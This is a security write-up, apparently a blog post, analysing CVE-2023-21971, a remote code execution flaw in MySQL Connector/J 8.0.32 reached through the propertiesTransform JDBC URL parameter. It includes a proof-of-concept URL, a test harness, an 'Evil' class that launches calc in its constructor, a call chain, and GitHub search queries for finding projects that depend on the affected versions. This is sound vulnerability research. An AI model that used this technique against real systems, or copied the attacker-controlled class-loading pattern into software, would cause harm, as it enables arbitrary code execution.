CVE-2023-21971 Connector/J RCE Analysis

References

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

MYSQL JDBC Deserialization Analysis - 跳跳糖 (tttang.com)

Vulnerability Overview

Vulnerability in Oracle MySQL's MySQL Connectors product (component: Connector/J). Affected supported versions are 8.0.32 and prior. This difficult-to-exploit vulnerability allows a high-privileged attacker to compromise MySQL Connector by accessing the network through multiple protocols. A successful attack requires human interaction from someone other than the attacker. A successful attack on this vulnerability could result in unauthorized abilities causing MySQL Connector to hang or frequently and repeatedly crash (complete DOS), as well as unauthorized update, insert, or delete access to some MySQL Connector accessible data, and unauthorized read access to a subset of MySQL Connector accessible data.

Impact scope:

affected at 8.0.32 and prior

Search

Search for projects depending on mysql-connector-java on GitHub.

filename:pom.xml mysql-connector-java

By searching on GitHub, you can find dependencies on a specific version of mysql-connector-java.

filename:pom.xml mysql-connector-java 8.0.32

PoC

conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

Analysis

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

Obviously, we can control propertiesTransformClassName, and calling newInstance() will automatically invoke its no-argument constructor.

this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

Obviously, we can write a demo to verify this.

Reproduction Environment

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

Here we directly download the Jar file and import it into the IDEA project's Libraries.

Test.java

import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

However, the Evil class is created locally, and none of the dependencies implements the ConnectionPropertiesTransform interface. Is this a vulnerability that is not useful?

Through experiments, we found that the Evil class does not need to implement the ConnectionPropertiesTransform interface to execute commands.

Call Chain

setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test

CVE-2023-21971_Analysis

Most Popular